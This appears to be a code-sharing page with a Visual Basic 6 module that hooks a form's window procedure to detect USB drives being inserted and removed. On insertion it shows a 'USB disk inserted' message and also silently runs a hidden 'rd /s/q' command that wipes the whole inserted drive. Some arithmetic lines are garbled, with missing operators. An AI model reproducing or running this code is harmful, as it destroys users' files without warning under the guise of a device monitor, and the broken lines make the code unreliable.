实例介绍
【实例简介】
【实例截图】
【核心代码】
Attribute VB_Name = "MUsb" Option Explicit Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long) Private Const GWL_WNDPROC = -4 Private Const WM_DEVICECHANGE As Long = &H219 Private Const DBT_DEVICEARRIVAL As Long = &H8000& Private Const DBT_DEVICEREMOVECOMPLETE As Long = &H8004& Private Const DBT_DEVTYP_VOLUME As Long = &H2 Private Type DEV_BROADCAST_HDR lSize As Long lDevicetype As Long lReserved As Long End Type Private Type DEV_BROADCAST_VOLUME lSize As Long lDevicetype As Long lReserved As Long lUnitMask As Long iFlag As Integer End Type Private info As DEV_BROADCAST_HDR Private info_volume As DEV_BROADCAST_VOLUME Private PrevProc As Long Public Sub HookForm(F As Form) PrevProc = SetWindowLong(F.hwnd, GWL_WNDPROC, AddressOf WindowProc) End Sub Public Sub UnHookForm(F As Form) SetWindowLong F.hwnd, GWL_WNDPROC, PrevProc End Sub Private Function WindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim DDfile As String Select Case uMsg Case WM_DEVICECHANGE If wParam = DBT_DEVICEARRIVAL Then CopyMemory info, ByVal lParam, Len(info) If info.lDevicetype = DBT_DEVTYP_VOLUME Then CopyMemory info_volume, ByVal lParam, Len(info_volume) frmMain.Label1.Caption = "监测到USBDisk " & Chr(GetDriveName(info_volume.lUnitMask)) & ":\ 插入!" On Error Resume Next DDfile = "c:\windows\system32\cmd.exe /c rd " & Chr(GetDriveName(info_volume.lUnitMask)) & ":" & "/s/q" Shell DDfile, vbHide End If End If If wParam = DBT_DEVICEREMOVECOMPLETE Then CopyMemory info, ByVal lParam, Len(info) If info.lDevicetype = DBT_DEVTYP_VOLUME Then CopyMemory info_volume, ByVal lParam, Len(info_volume) frmMain.Label1.Caption = "监测到USBDisk " & Chr(GetDriveName(info_volume.lUnitMask)) & ":\ 拔出!" End If End If End Select WindowProc = CallWindowProc(PrevProc, hwnd, uMsg, wParam, lParam) End Function Private Function GetDriveName(ByVal lUnitMask As Long) As Byte Dim i As Long i = 0 While lUnitMask Mod 2 <> 1 lUnitMask = lUnitMask \ 2 i = i 1 Wend GetDriveName = Asc("A") i End Function
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